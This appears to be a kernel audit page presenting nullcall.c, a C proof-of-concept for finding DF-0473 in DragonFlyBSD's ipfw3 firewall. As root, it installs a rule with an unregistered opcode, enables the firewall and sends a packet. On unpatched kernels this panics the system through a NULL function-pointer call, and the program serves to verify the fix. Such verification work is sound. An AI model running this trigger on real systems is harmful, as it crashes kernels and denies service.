DragonFlyBSD Kernel Audit
DF-0473 / nullcall.c
← back to finding ↓ download raw
/*
 * DF-0473 call-site NULL-check test: install an IN-RANGE but UNREGISTERED
 * opcode (module=0 BASIC, opcode=50 -- passes the install-time range check,
 * but filter_funcs[0][50] is NULL since only opcode 0/1 are registered),
 * then enable the firewall and send a packet.
 *
 *   UNPATCHED module: ip_fw3_chk calls (NULL)(...) -> NULL-deref panic.
 *   PATCHED   module: call-site NULL check -> goto next_cmd -> NO panic.
 *
 * Exercises the defense-in-depth call-site hunk (fix.diff hunk #1).
 *
 * Build: cc -Wall -o nullcall nullcall.c
 * Run  : ./nullcall   (as root, with ipfw3.ko loaded)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define MY_IP_FW_X   49
#define MY_IP_FW_ADD 50
typedef struct { uint8_t opcode; uint8_t len; uint16_t arg1;
                 uint8_t module; uint8_t arg3; uint16_t arg2; } my_insn;
typedef struct { uint16_t opcode; uint16_t _pad; } my_x_header;
struct my_ioc_rule {
        uint16_t act_ofs, cmd_len, rulenum; uint8_t set, insert; uint32_t sets;
        uint64_t pcnt, bcnt; uint32_t timestamp; my_insn cmd;
};

int main(void) {
        int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (s < 0) { perror("socket raw [needs root]"); return 2; }
        unsigned char buf[sizeof(my_x_header) + sizeof(struct my_ioc_rule)];
        memset(buf, 0, sizeof(buf));
        my_x_header *xh = (my_x_header *)buf; xh->opcode = MY_IP_FW_ADD;
        struct my_ioc_rule *r = (struct my_ioc_rule *)(buf + sizeof(my_x_header));
        /* module=0 (in range <10), opcode=50 (in range <100, but UNREGISTERED) */
        r->cmd_len = 2; r->cmd.opcode = 50; r->cmd.len = 2; r->cmd.module = 0;
        int rc = setsockopt(s, IPPROTO_IP, MY_IP_FW_X, buf, sizeof(buf));
        printf("[+] install in-range/unregistered rule (module=0 opcode=50): rc=%d %s\n",
               rc, rc ? strerror(errno) : "(accepted -- passes range check)");
        if (rc) { printf("[!] add failed\n"); close(s); return 1; }
        close(s);

        printf("[+] enabling firewall + sending packet (PATCHED: NULL-skip, no panic)...\n");
        fflush(stdout);
        system("sysctl net.inet.ip.fw3.enable=1");
        int u = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        struct sockaddr_in dst; memset(&dst, 0, sizeof(dst));
        dst.sin_family = AF_INET; dst.sin_port = htons(9);
        dst.sin_addr.s_addr = htonl(0x7f000001);
        sendto(u, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
        usleep(300000);
        printf("[+] packet sent; if we reach here the call-site NULL check skipped the cmd\n");
        close(u);
        return 0;
}